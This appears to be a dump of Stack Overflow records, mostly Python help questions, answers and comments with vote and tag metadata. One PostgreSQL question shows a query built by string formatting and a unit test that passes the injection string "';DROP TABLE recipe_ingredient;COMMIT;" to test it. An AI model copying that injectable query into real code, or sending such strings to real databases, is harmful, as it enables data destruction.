has comment: http://stackoverflow.com/comment/81716991
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47380953

http://stackoverflow.com/comment/81440238
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47244706
type: QuestionComment
has text: Sure, I don't mind at all

http://stackoverflow.com/comment/81588652
has text: You want `df['values'].str.split().tolist()`
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47317617

http://stackoverflow.com/comment/81597176
comment on: http://stackoverflow.com/q/47279862
type: Comment
type: QuestionComment
score: 0
has text: @Miguel No I am not sending session cookie. I just want to fetch user details from `/me` after he log in via FB. So I am doing a fetch request . I have updated question how I am fetching

http://stackoverflow.com/q/47310561
upvote count: 3
has title: python callable class as a decorator naming convention
score: 3
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/81574609
favorite count: 0
has comment: http://stackoverflow.com/comment/81572038
type: Question
has body: I have following decorator declared as callable object: class nest: def __init__(self, func): self.func = func def __get__(self, instance, owner): self.obj = instance self.cls = owner return self.__call__ def __call__(self, request, *args, **kwargs): .... Then I can use it in the code like that: class Abc: @nest def test(self, *args, **kwargs): My question is: what is the convention of naming such decorator ? When I look into different decorators declaration (e.g. as functions) they're always? starting with lowercase. Nevertheless class name should start with the uppercase (according to PEP8). What is the correct pythonic way of naming decorator implemented as a class ? Thank you in advance Piotr
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/47271419
has title: Unexpected Error while executing imgkit
answer count: 3
has comment: http://stackoverflow.com/comment/81493936
score: 1
has answer: http://stackoverflow.com/a/55157528
has answer: http://stackoverflow.com/a/47271862
favorite count: 0
type: Question
tagged with: python-3.x
upvote count: 2
type: UnansweredQuestion
tagged with: imgkit
has body: I'm a newbie to Python, While learning imgkit (PI module) I got this error which was not expected for a simple code. Below is the code import imgkit imgkit.from_url('https://www.google.co.in/','fs.jpg') and the error which I got is Traceback (most recent call last): File "G:\python\lib\site-packages\imgkit-0.1.8-py3.6.egg\imgkit\config.py", line 30, in __init__ with open(self.wkhtmltoimage): FileNotFoundError: [Errno 2] No such file or directory: b'' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\ALEXANDER\Desktop\def img.py", line 3, in &lt;module&gt; imgkit.from_url('https://www.google.co.in/','fs.jpg') File "G:\python\lib\site-packages\imgkit-0.1.8-py3.6.egg\imgkit\api.py", line 20, in from_url rtn = IMGKit(url, 'url', options=options, toc=toc, cover=cover, config=config, cover_first=cover_first) File "G:\python\lib\site-packages\imgkit-0.1.8-py3.6.egg\imgkit\imgkit.py", line 34, in __init__ self.config = Config() if not config else config File "G:\python\lib\site-packages\imgkit-0.1.8-py3.6.egg\imgkit\config.py", line 36, in __init__ 'http://wkhtmltopdf.org\n'.format(self.wkhtmltoimage)) OSError: No wkhtmltoimage executable found: "b''" If this file exists please check that this process can read it. Otherwise please install wkhtmltopdf - http://wkhtmltopdf.org Could anyone tell me what mistake I have done.
has answer: http://stackoverflow.com/a/49945095
tagged with: python
downvote count: 1

http://stackoverflow.com/a/47352860
has body: It is a little unclear what you're trying to do. Assuming you want all records from table a where there is not a corresponding record in table b, and your logic in the subquery defines a proper join, here's how I'd do it. select `ACTUAL_TIME`, `ACTUAL_DAY`, `EXAMINED_AIRPORT_CODE`, `EXAMINED_AIRPORT_AIRPORT`, `EXAMINED_AIRPORT_COUNTRY`, `ARRIVALS/DEPARTURES`, `SCHEDULED_TIME`, `FLIGHT`, `FROM`, `AIRLANE`, `AIRCRAFT`, `STATUS`, `FLIGHT_ID_1`, `FLIGHT_ID_2`, `UPLOAD_TIME` from OSSZES as a left join ( select `ACTUAL_TIME` `ACTUAL_DAY`, COALESCE(`EXAMINED_AIRPORT_CODE`, '') as EXAMINED_AIRPORT_CODE -- edit `EXAMINED_AIRPORT_AIRPORT`, `EXAMINED_AIRPORT_COUNTRY`, `ARRIVALS/DEPARTURES`, `SCHEDULED_TIME`, `FLIGHT`, `FROM`, `AIRLANE`, `AIRCRAFT`, `STATUS`, `FLIGHT_ID_1`, `FLIGHT_ID_2`, `UPLOAD_TIME` from OSSZES_CLEAR ) as b using (`ACTUAL_DAY`,`EXAMINED_AIRPORT_CODE`,`FLIGHT`,`SCHEDULED_TIME`,`STATUS`) where b.EXAMINED_AIRPORT_CODE is null into outfile '/tmp/proba.csv' fields terminated by ';' enclosed by '"' lines terminated by '\n'; If that doesn't work, please clarify what result you're getting and what result you expect.
has comment: http://stackoverflow.com/comment/81667975
score: 0
has comment: http://stackoverflow.com/comment/81667092
has comment: http://stackoverflow.com/comment/81671951
has comment: http://stackoverflow.com/comment/81657968
answers question: http://stackoverflow.com/q/47352512
type: Answer
has comment: http://stackoverflow.com/comment/81738770

http://stackoverflow.com/q/47287948
favorite count: 0
has title: how to only allow letters to be used python statment
has answer: http://stackoverflow.com/a/47288876
tagged with: python-2.7
has answer: http://stackoverflow.com/a/47288031
has answer: http://stackoverflow.com/a/47288646
has comment: http://stackoverflow.com/comment/81526264
tagged with: python
score: -1
answer count: 6
has answer: http://stackoverflow.com/a/47287997
has answer: http://stackoverflow.com/a/47288199
has comment: http://stackoverflow.com/comment/81526024
type: Question
tagged with: python-3.x
has body: I'm making a Morse code program: def main (): morse_code = {"a":".-","b":"-...","c":"-.-.","d":"-..","e":".","f":"..-.","g":"--.","h":"....","i":"..","j":".---","k":"-.-","l":".-..", "m":"--","n":"-.","o":"---","p":".--.","q":"--.-","r":".-.","s":"...","t":"-","u":"..-","v":"...-","w":".--","x":"-..-","y":"-.--","z":"--.."} phrase = input("please enter your word or words: ") for key in phrase: print("your word or sentence translated to morse code is : ") print(morse_code[key], end = " ") if phrase == int or float: print("try the input") retry() def retry (): main() retry() main() How do I print an error if someone enters a number?
has answer: http://stackoverflow.com/a/47288189
upvote count: 0
type: UnansweredQuestion
downvote count: 1

http://stackoverflow.com/comment/81563454
type: QuestionComment
comment on: http://stackoverflow.com/q/47306503
score: 1
type: Comment
has text: oh yes thx... originally it was `matrix = numpy.zeros(shape=(len(myList), len(myOtherList)), dtype=int)`

http://stackoverflow.com/q/47347580
answer count: 1
tagged with: function-attributes
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47347720
tagged with: python
has title: accessing function attributes inside decorators
tagged with: python-decorators
tagged with: scope
type: AnsweredQuestion
score: 3
upvote count: 3
has body: Is it possible to access function attributes inside a decorator? Consider below piece of code. def deco(a): def wrap(): print(a.status) a() print(a.status) return wrap @deco def fun1(): fun1.status="bar" fun1.status="foo" fun1() I expected the output to be : foo bar But I get the below error: Traceback (most recent call last): File "&lt;pyshell#0&gt;", line 1, in &lt;module&gt; fun1() File "D:\python_projects\test_suite\func_attribute.py", line 3, in wrap print(a.status) AttributeError: 'function' object has no attribute 'status' Is there any way to make this work since def fun1(): fun1.status="bar" fun1.status="foo" a=fun1 print(a.status) a() print(a.status) Outputs: foo bar As expected.
downvote count: 0
has answer: http://stackoverflow.com/a/47347720
tagged with: function-object

http://stackoverflow.com/a/47349011
type: Answer
has body: pylint parses the .pylintrc file using configparser, which says in its docs: Values can also span multiple lines, as long as they are indented deeper than the first line of the value. This means the solution is to use [TYPECHECK] generated-members = XXX, YYY, ZZZ......
score: 25
upvote count: 25
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47348786
answers question: http://stackoverflow.com/q/47348786

http://stackoverflow.com/q/47327266
score: 0
tagged with: colors
has comment: http://stackoverflow.com/comment/81735988
has comment: http://stackoverflow.com/comment/81605544
has comment: http://stackoverflow.com/comment/81932718
tagged with: tk-toolkit
tagged with: python
has comment: http://stackoverflow.com/comment/81736740
has comment: http://stackoverflow.com/comment/81737172
has comment: http://stackoverflow.com/comment/81737635
type: Question
has comment: http://stackoverflow.com/comment/81736605
answer count: 0
has comment: http://stackoverflow.com/comment/81736762
type: UnansweredQuestion
tagged with: ttk
upvote count: 1
has title: ttk.Frame background colour
has body: How can I make the pageframe background colour green? pageframe is frame containing some text. I have tried looking at a lot sites which have stuff about ttk styles but my code still doesn't show the green background even though I have used style. context= I am creating Diet and exercise management program for my project but just this green background colour is not working. I have provided an image how it looks. I have only included relevant parts of code. Also I prefer using ttk.Frame() rather than just Frame() Diet and exercise management program from tkinter import * from tkinter import ttk root = Tk() root.geometry('500x400') root.grid_columnconfigure(0, weight=1)#This configures the column and row to be weighted. root.grid_rowconfigure(0, weight=1) main = ttk.Frame(root, padding = (3,3,3,3))#This creates the padding around all the contents. main.grid(column=0, row=0, sticky=(N,W,E,S)) main.grid_columnconfigure(1, weight=1) main.grid_rowconfigure(4, weight=1) pagestyle = ttk.Style() pagestyle.configure("G.TFrame" , background='green') nav = ttk.Frame(main, borderwidth=2) nav.grid(column=0, row=0, rowspan = 4, sticky=(N,W,E,S)) pageframe = ttk.Frame(main,style="G.TFrame" ) pageframe.grid(column = 1, row = 0, rowspan =5, sticky=(N,W,E,S)) pageframe.columnconfigure(0, weight=1) text = Label(pageframe , text="Home") text.grid(column=0, row=0) text = Label(pageframe , text="Weekly Overview") text.grid(column=0, row=1)
downvote count: 1
has comment: http://stackoverflow.com/comment/81736687
favorite count: 0

http://stackoverflow.com/comment/81617218
type: Comment
comment on: http://stackoverflow.com/a/47318722
type: AnswerComment
has text: @DatOneNoobCoder: It really does not matter how many times you press the "Check" button, it is incorrect to create the random number inside the "checkInput" function. The idea of the game is that the code needs to create a random number first, store it in a variable and keep its value unchanged until the end of program. Meanwhile the user keeps guessing until their guess matches the random number.
score: 0

http://stackoverflow.com/q/47374086
has comment: http://stackoverflow.com/comment/81701348
type: Question
tagged with: postgresql
type: UnansweredQuestion
has title: syntax error at or near "%" using sql and python
tagged with: python
has comment: http://stackoverflow.com/comment/81700705
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81700986
has body: I was trying to do some postgresql queries using python. def find_recipe(self, recipe_name): cursor = self.conn.cursor(cursor_factory=psycopg2.extras.DictCursor) query = """SELECT * FROM recipe WHERE lower(name) like '%%%s%%'""" % recipe_name.lower() cursor.execute(query) records = cursor.fetchall() return records but when I do unit test def test_find_recipe(self): recipes = self.service.find_recipe('sandwich') self.assertEqual(len(recipes), 2) recipes = self.service.find_recipe("';DROP TABLE recipe_ingredient;COMMIT;") self.assertEqual(len(recipes), 0) self.assertEqual(22, self.query("select count(*) from recipe_ingredient")[0][0]) it has error: Traceback (most recent call last): File "restaurant_test.py", line 40, in test_find_recipe recipes = self.service.find_recipe("';DROP TABLE recipe_ingredient;COMMIT;") File "/Users/alice/Desktop/Database System/homework_3.py", line 25, in find_recipe cursor.execute(query) File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/psycopg2/extras.py", line 144, in execute return super(DictCursor, self).execute(query, vars) ProgrammingError: syntax error at or near "%" LINE 1: ... lower(name) like '%';drop table recipe_ingredient;commit;%'
has comment: http://stackoverflow.com/comment/81704034

http://stackoverflow.com/q/47343096
answer count: 1
favorite count: 0
has title: joining midpoints of a histogram by line
type: Question
has comment: http://stackoverflow.com/comment/81638712
accepted answer: http://stackoverflow.com/a/47343220
has body: how do i take a midpoint of each bar in a histogram and draw a line joining those midpoints using matplotlib. Here is sample data test_scores = [55,45,88,75,43,56,89,98,55,54,65,77,88,81,82,89,92,98,65,\ 76,76,73,72,84] test_scores1 = [55,45,88,73,43,55,89,98,44,54,65,77,80,81,84,89,92,98,65,\ 71,75,73,70,81] bins = [10,20,30,40,50,60,70,80,90,100] plt.hist(test_scores, bins, histtype='bar') plt.hist(test_scores1, bins, histtype='bar') plt.show()
tagged with: python
type: AnsweredQuestion
downvote count: 0
score: 1
upvote count: 1
tagged with: matplotlib
has answer: http://stackoverflow.com/a/47343220

http://stackoverflow.com/q/47244314
has body: Hi I am new to Python and when I implemented the following code for the quick-sort algorithm I got a traceback: "IndexError: list index out of range". Can anybody help me, please. I have been struggled for the whole night! Thanks! def quicksort(array,l,r): n = len(array) if n == 1 or n == 0: return array else: p = array[l] i = l + 1 for j in range(l+1, r): if array[j] &lt; p: array[i], array[j] = array[j], array[i] i = i + 1 array[l], array[i-1] = array[i-1], array[l] array[l:i-1] = quicksort(array[l:i-1],l,i-1) array[i:r] = quicksort(array[i:r],i,r) return array testarray = [1,3,4,5,2] sortedarray = quicksort(testarray,0,5)
tagged with: python
has comment: http://stackoverflow.com/comment/81439433
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47244436
score: 1
answer count: 1
has title: python3 quicksort list index out of range
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: traceback
tagged with: debugging
has answer: http://stackoverflow.com/a/47244436

http://stackoverflow.com/a/47317232
has body: You can use a generator-expression: ','.join(s for s in list if s) which outputs: 'aaa,ccc,eee' Why? This takes advantage of the fact that an empty string evaluates to False. This can be seen clearer through some examples: &gt;&gt;&gt; if "a": ... print("yes") ... yes &gt;&gt;&gt; if " ": ... print("yes") ... yes &gt;&gt;&gt; if "": ... print("yes") ... &gt;&gt;&gt; So the generator says: for each string in list, keep 'if string' - i.e. if the string is not empty. We then finally use the str.join method that will take each string in the iterator that is passed into it (here a generator) and concatenate them together with whatever the str is. So here we use a ',' as the string to get the desired result. A little example of this: &gt;&gt;&gt; ','.join(['abc', 'def', 'ghi']) 'abc,def,ghi' **As a side note, you shouldn't name your variable list as it overrides the built-in list() function: &gt;&gt;&gt; list((1, 2, 3)) [1, 2, 3] &gt;&gt;&gt; list = 1 &gt;&gt;&gt; list((1, 2, 3)) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: 'int' object is not callable
answers question: http://stackoverflow.com/q/47316854
type: Answer
score: 2
upvote count: 3
downvote count: 1

http://stackoverflow.com/q/47359129
tagged with: scipy
type: Question
has title: Sampling a specific number of points from a Weibull distribution in Python
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81672873
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81673394
tagged with: montecarlo
has body: I have a dataset (the diameters of ~1,000 trees) from which I have derived a mean tree diameter (21.6”) and standard deviation (12.4”). My analysis suggests these data are from a Weibull distribution (numpy.random.weibull). I would like to run Monte Carlo simulations to generate a series of hypothetical forests that follow this data distribution -- that is, to extrapolate my data from 1,000 trees to an 80,000 tree forest of diameters sampled from my Weibull distribution. To accomplish this, in Python I would like to: Create a Weibull distribution with the mean and standard deviation of my dataset Sample from this distribution 20 times to create these hypothetical forest size distributions, where each forest has ~80,000 points Export these tables into Excel (I presume) in order to use this information to calculate forest biomass and carbon storage based on diameter I am a complete beginner in both stats and Python, and am struggling from the scipy documentation how to incorporate my mean and std deviation into generation of the Weibull distribution as well as how to sample from the distribution once it's been created in a way that is exportable. Many apologies in advance for any errors or ambiguities in framing the question -- the learning curve for coding and stats sure is steep!
favorite count: 0
has comment: http://stackoverflow.com/comment/81673134
has comment: http://stackoverflow.com/comment/81671444
score: 1
tagged with: python
has answer: http://stackoverflow.com/a/70356297
tagged with: weibull

http://stackoverflow.com/q/47311024
has comment: http://stackoverflow.com/comment/81572953
type: UnansweredQuestion
tagged with: python
has title: Python random.randrange producing everything but the step
score: 2
downvote count: 0
has answer: http://stackoverflow.com/a/47311187
has answer: http://stackoverflow.com/a/47311208
has comment: http://stackoverflow.com/comment/81572804
has comment: http://stackoverflow.com/comment/81573044
has comment: http://stackoverflow.com/comment/81572846
favorite count: 0
type: Question
upvote count: 2
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81572988
answer count: 2
has body: When using this following code: import random sticks = 100 randomstep = random.randint(1, 6) expertmarbles = random.randrange(1, sticks, 2**randomstep) the output is producing everything excluding the step, so for example i would like this to output a random from these numbers: 2,4,8,16,32,64. However it will output everything but these numbers. Can anyone offer any advice, the reason i'm using variables here is because the amount of sticks will decrease.

http://stackoverflow.com/comment/134764949
score: 0
type: Comment
comment on: http://stackoverflow.com/a/61790899
type: AnswerComment
has text: what is `a[I]`?

http://stackoverflow.com/a/47339403
has comment: http://stackoverflow.com/comment/81631750
has comment: http://stackoverflow.com/comment/81634347
has comment: http://stackoverflow.com/comment/81631273
has comment: http://stackoverflow.com/comment/81631311
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47339044
has comment: http://stackoverflow.com/comment/81631416
has comment: http://stackoverflow.com/comment/81634127
has comment: http://stackoverflow.com/comment/81634700
has comment: http://stackoverflow.com/comment/81633979
answers question: http://stackoverflow.com/q/47339044
score: 10
type: Answer
has body: You have to move the QTimer to the DataCaptureThread thread, in addition to that when the run method ends, the thread is eliminated so the timer is eliminated, so you must avoid running that function without blocking other tasks. QEventLoop is used for this: class DataCaptureThread(QThread): def collectProcessData(self): print ("Collecting Process Data") def __init__(self, *args, **kwargs): QThread.__init__(self, *args, **kwargs) self.dataCollectionTimer = QTimer() self.dataCollectionTimer.moveToThread(self) self.dataCollectionTimer.timeout.connect(self.collectProcessData) def run(self): self.dataCollectionTimer.start(1000) loop = QEventLoop() loop.exec_()
has comment: http://stackoverflow.com/comment/81634379
has comment: http://stackoverflow.com/comment/119026874
upvote count: 10

http://stackoverflow.com/comment/81534263
has text: Thanks, Bernardo. I am going to explore this option as well. It looks like this API allows you to extract directly from the datasource as well, whereas `tabcmd` only lets you work with published views.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47273577
type: Comment

http://stackoverflow.com/a/47297850
has body: style = 'color: yellow; background: red; border: 3px solid green' funct = lambda d: df_nan.isnull() * style df_new.style.apply(funct, None)
answers question: http://stackoverflow.com/q/47297293
has comment: http://stackoverflow.com/comment/81559434
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47297293
type: AcceptedAnswer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81552264
type: Answer

http://stackoverflow.com/comment/81676723
has text: @MarquelaNunes That's good doc for you http://www.secnetix.de/olli/Python/list_comprehensions.hawk
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47361810

http://stackoverflow.com/comment/81641686
type: QuestionComment
has text: aleosd, i keep getting None , i was hoping to get that object since my datetime is bigger than "2017-11-11 13:17:49"
comment on: http://stackoverflow.com/q/47344910
score: 0
type: Comment

http://stackoverflow.com/q/47235401
has answer: http://stackoverflow.com/a/47235429
has comment: http://stackoverflow.com/comment/81421117
type: Question
accepted answer: http://stackoverflow.com/a/47235429
answer count: 2
possible better answer: http://stackoverflow.com/a/47235573
tagged with: python
has body: So I spent the past day or so working on this slot machine program for a school assignment, and for some reason the only thing that will happen when I run the program is it will print the first statement in the function but then close the script. import random STATS = {"Win": 0, "Lose": 0} def playSlots(): player = Player("Player") game = Game(player, []) print("Welcome to my not as rough slot machine, now featuring classes!") gaw = SlotMachine(1,1,1) SlotMachine.playRound if player.money &lt; 1: print("Out of Money") class Player: def __init__(self, name): self.money = 10 def getMoney(self): return self.money def changeMoney(self, value): self.credits += value class Game: def __init__(self, player, stats): self.player = player self.stats = stats def statChange(self, outcome): global STATS if outcome == "Win": STATS["Win"] += 1 elif outcome == "Lose": STATS["Lose"] += 1 class SlotMachine: def __init__(self, slotL, slotC, slotR): self.slotL = 1 self.slotC = 1 self.slotR = 1 def randomSlots(self): self.slotL = random.choice([1, 2, 3]) self.slotC = random.choice([1, 2, 3]) self.slotR = random.choice([1, 2, 3]) return self.slotL, self.slotC, self.slotR def playRound(self): while Player.getMoney &gt; 1: print("You have",Player.getMoney(), "tokens") playerWager = int(input("Enter the amount of money you would like to wager: ")) if playerWager &gt; Player.getMoney() or playerWager == 0: print("Invalid Wager") continue Player.changeMoney(playerWager) self.randomSlots print(self.slotL, "|", self.slotC, "|", self.slotR) if (self.slotL == self.slotC) and (self.slotC == self.slotR): print("Win") Player.changeMoney((playerWager * 2)) Game.statChange("Win") print("Money: ", Player.getMoney()) else: print("Lose") Game.statChange("Lose") print("Money: ", Player.getMoney()) if Player.getMoney() &lt; 1: print("Out of Money") break userContinue = input("Continue? (q to quit): ") if userContinue == "q": break def main(): playSlots() main() I'm kind of at a loss at this point, so any he…
has answer: http://stackoverflow.com/a/47235573
tagged with: class
type: AnsweredQuestion
score: 0
has title: Python Basic Slot Machine not Running?

http://stackoverflow.com/comment/81507134
has text: This question seem the same your issue: [Try this one](https://stackoverflow.com/questions/44821838/file-tesseract-exe-does-not-exist)
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47277066

http://stackoverflow.com/q/47378900
has comment: http://stackoverflow.com/comment/81710373
has answer: http://stackoverflow.com/a/47379224
upvote count: 1
tagged with: machine-learning
has comment: http://stackoverflow.com/comment/81710466
downvote count: 1
has comment: http://stackoverflow.com/comment/81710263
has title: matplotlib: why is LinearRegression line not showing up?
has comment: http://stackoverflow.com/comment/81710111
accepted answer: http://stackoverflow.com/a/47379224
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81710095
tagged with: python
has body: Using Geany IDE when running python file.py command from iTerm2, I get the following error message: /usr/local/lib/python2.7/site-packages/scipy/linalg/basic.py:1226: RuntimeWarning: internal gelsd driver lwork query error, required iwork dimension not returned. This is likely the result of LAPACK bug 0038, fixed in LAPACK 3.2.2 (released July 21, 2010). Falling back to 'gelss' driver. warnings.warn(mesg, RuntimeWarning) A 12" pizza should cost: $13.68 'Here's my code: import numpy as np import matplotlib.pyplot as plt from sklearn.linear_model import LinearRegression X = np.array([[6], [8], [10], [14], [18]]).reshape(-1,1) y = [7,9,13,17.5,18] # In[2]: model = LinearRegression() # Create an instance of the estimator model.fit(X, y) # Fit the model on the training data # Predict the price of a pizza with a diameter that has never been seen before test_pizza = np.array([[12]]) predicted_price = model.predict(test_pizza)[0] plt.figure() plt.title('pizza thing') plt.xlabel('x-axis diam') plt.ylabel('y-axis price dollar dollar') plt.plot(X,y, 'k.') plt.axis([0,25,0,25]) plt.grid(True) plt.show() print('A 12" pizza should cost: $%.2f' % predicted_price) ` edit: added expected graph. thanks guys. Expected Graph GRAPH OUTPUT update:Accepted Answer
favorite count: 0
has comment: http://stackoverflow.com/comment/81710393
type: Question
score: 0
answer count: 1

http://stackoverflow.com/q/47234130
has comment: http://stackoverflow.com/comment/81419176
has comment: http://stackoverflow.com/comment/81419088
has comment: http://stackoverflow.com/comment/81419277
has comment: http://stackoverflow.com/comment/81418862
accepted answer: http://stackoverflow.com/a/47234488
has comment: http://stackoverflow.com/comment/81418841
has comment: http://stackoverflow.com/comment/81418939
has body: I'm creating an inverted index of text files stored locally using nested dictionaries. An abstract structure of the inverted index is below (the values are integer numbers). In any word value of key '0' is the idf and value of key '1' is the tf. inverted_index={'word1':{'0':idf_value, '1': 2 , 'filename1': frequency_value, 'filename2': frequency_value},'word2':{'0':idf_value, '1': 2, 'filename1': frequency_value, 'filename2': frequency_value}} And this is the code: import textract, math, os docs=[] #Read the files and store them in docs folder = os.listdir("./input/") for file in folder: if file.endswith("txt"): docs.append ([file,textract.process("./input/"+file)]) inverted_index={} for doc in docs: words=doc[1].decode() words=words.split(" ") #loop through and build the inverted index for word in words: temp={} #to remove initial white space if (word == " ") or (word==""): continue if word not in inverted_index: temp[doc[0]]=1 temp['0']=0 #idf temp['1']=1 #tf inverted_index[word]=temp else: if doc[0] not in inverted_index[word].keys(): inverted_index[word][doc[0]]=1 inverted_index[word]['1']=inverted_index[word]['1']+1 else: inverted_index[word][doc[0]]=inverted_index[word][doc[0]]+1 # to sort and print values with calculating the the tf and idf on the fly for key, value in sorted(inverted_index.items()): # to sort words alphabitically inverted_index[key]=sorted(inverted_index[key]) # to sort the filenames where the word occured. inverted_index[key]['0']=math.log2(len(docs)/value['1']) # the error in this line print(key, value) but I get this error in the second last line: Traceback (most recent call last): File "aaaa.py", line 34, in &lt;module&gt; inverted_index[key]['0']=math.log2(len(docs)/value['1']) TypeError: list indices must be integers or slices, not str Can you please help me fix this bug. Thank you
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47234488
downvote count: 0
score: 1
possible better answer: http://stackoverflow.com/a/47234610
favorite count: 0
has comment: http://stackoverflow.com/comment/81419056
has comment: http://stackoverflow.com/comment/81419003
tagged with: tf-idf
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47234610
has comment: http://stackoverflow.com/comment/81419569
has comment: http://stackoverflow.com/comment/81419140
type: Question
has title: TypeError: list indices must be integers or slices, not str when using nested dictionaries
has comment: http://stackoverflow.com/comment/81419194
has comment: http://stackoverflow.com/comment/81419303
answer count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/81418877
tagged with: python
has comment: http://stackoverflow.com/comment/81419018
has comment: http://stackoverflow.com/comment/81419037

http://stackoverflow.com/a/61325510
upvote count: 6
type: Answer
score: 6
has body: Its not quite fine to downgrade everytime, you may need to make following changes as shown below: Tensorflow import tensorflow as tf #Keras from tensorflow.keras.models import Sequential, Model, load_model, save_model from tensorflow.keras.callbacks import ModelCheckpoint from tensorflow.keras.layers import Dense, Activation, Dropout, Input, Masking, TimeDistributed, LSTM, Conv1D, Embedding from tensorflow.keras.layers import GRU, Bidirectional, BatchNormalization, Reshape from tensorflow.keras.optimizers import Adam from tensorflow.keras.layers import Reshape, Dropout, Dense,Multiply, Dot, Concatenate,Embedding from tensorflow.keras import optimizers from tensorflow.keras.callbacks import ModelCheckpoint The point is that instead of using from keras.layers import Reshape, Dropout, Dense,Multiply, Dot, Concatenate,Embedding you need to add from tensorflow.keras.layers import Reshape, Dropout, Dense,Multiply, Dot, Concatenate,Embedding
downvote count: 0
answers question: http://stackoverflow.com/q/47262955

http://stackoverflow.com/q/47333578
tagged with: image-processing
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81619598
has body: import cv2 import numpy as np cap = cv2.VideoCapture() while True: _, frame = cap.read() laplacia = cv2.Laplacian(frame, cv2.CV_64F) cv2.imshow('original', frame) cv2.imshow('laplacian', laplacia) k = cv2.waitKey(5) &amp; 0xFF if k==27: break cv2.destroyAllWindows() cap.release() I am getting this error #laplacia = cv2.Laplacian(frame, cv2.CV_64F) cv2.error: C:\build\master_winpack-bindings-win64-vc14-static\opencv\modules\core\src\matrix.cpp:981: error: (-215) dims &lt;= 2 &amp;&amp; step[0] &gt; 0 in function cv::Mat::locateROI
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
tagged with: opencv
has answer: http://stackoverflow.com/a/47335671
score: 1
has title: edge detection using python
answer count: 1

http://stackoverflow.com/comment/81597255
has text: Thank you for your reply! I am using ecdsa 0.13 (full name says: ecdsa-0.13+26.gc877639-py3.6.egg).
type: Comment
comment on: http://stackoverflow.com/q/47319779
type: QuestionComment
score: 0

http://stackoverflow.com/a/66891274
downvote count: 0
score: 10
has body: This has been changed recently; proto3 now supports presence tracking, which is enabled by adding the optional keyword: message State { optional SetGet setget = 1; optional double x = 2; optional double y = 3; optional double depth = 4; optional double yaw = 5; optional double pitch = 6; optional double roll = 7; } from https://github.com/protocolbuffers/protobuf/blob/master/CHANGES.txt: 2021-02-05 version 3.15.0 (C++/Java/Python/PHP/Objective-C/C#/Ruby/JavaScript) Protocol Compiler Optional fields for proto3 are enabled by default, and no longer require the --experimental_allow_proto3_optional flag. which is the RTM of this: 2020-05-12 version 3.12.0 (C++/Java/Python/PHP/Objective-C/C#/Ruby/JavaScript) Protocol Compiler [experimental] Singular, non-message typed fields in proto3 now support presence tracking. This is enabled by adding the "optional" field label and passing the --experimental_allow_proto3_optional flag to protoc.
type: Answer
answers question: http://stackoverflow.com/q/47373976
upvote count: 10
has comment: http://stackoverflow.com/comment/123948576

http://stackoverflow.com/q/47237098
has comment: http://stackoverflow.com/comment/81430842
has comment: http://stackoverflow.com/comment/81430705
tagged with: python
has comment: http://stackoverflow.com/comment/86106116
has comment: http://stackoverflow.com/comment/81561735
has comment: http://stackoverflow.com/comment/81537809
type: Question
upvote count: 4
score: 4
has body: I am attempting to install OpenCV for Python on Ubuntu 17.10 with Anaconda and Python 3.6.2 My call to CMake is currently: cmake -D CMAKE_BUILD_TYPE=RELEASE \ -D CMAKE_INSTALL_PREFIX=/usr/local \ -D INSTALL_PYTHON_EXAMPLES=ON \ -D INSTALL_C_EXAMPLES=OFF \ -D OPENCV_EXTRA_MODULES_PATH=~/opencv_contrib-3.1.0/modules \ -D PYTHON_EXECUTABLE=~/anaconda3/bin/python \ -D PYTHON_INCLUDE_DIR=~/anaconda3/include \ -D PYTHON_LIBRARY=~/anaconda3/lib \ -D BUILD_EXAMPLES=ON ..\ Unfortunately this gives the error: -- Could NOT find PythonLibs: Found unsuitable version "3.6.3", but required is exact version "3.6.2" (found /usr/lib/x86_64-linux-gnu/libpython3.6m.so) Does anyone have any idea how I might solve this problem? Edit: My Anaconda environment contains these packages: ca-certificates 2017.08.26 h1d4fec5_0 certifi 2017.7.27.1 py36h8b7b77e_0 libedit 3.1 heed3624_0 libffi 3.2.1 hd88cf55_4 libgcc-ng 7.2.0 h7cc24e2_2 libstdcxx-ng 7.2.0 h7a57d05_2 ncurses 6.0 h9df7e31_2 openssl 1.0.2m h8cfc7e7_0 pip 9.0.1 py36h6c6f9ce_4 python 3.6.2 hca45abc_19 readline 7.0 ha6073c6_4 setuptools 36.5.0 py36he42e2e1_0 sqlite 3.20.1 hb898158_2 tk 8.6.7 hc745277_3 wheel 0.29.0 py36he7f4e38_1 xz 5.2.3 h55aa19d_2 zlib 1.2.11 ha838bed_2 edit 2: Just to add some information, trying to access core OpenCV functions seems to work okay, its only functions that are part of OpenCV_Contrib that seem to be failing to install. Output of python -v import _frozen_importlib # frozen import _imp # builtin import sys # builtin import '_warnings' # &lt;class '_frozen_importlib.BuiltinImporter'&gt; import '_thread' # &lt;class '_frozen_importlib.BuiltinImporter'&gt; import '_weakref' # &lt;class '_frozen_importlib.BuiltinImporter'&gt; import '_frozen_importlib_external' # &lt;class 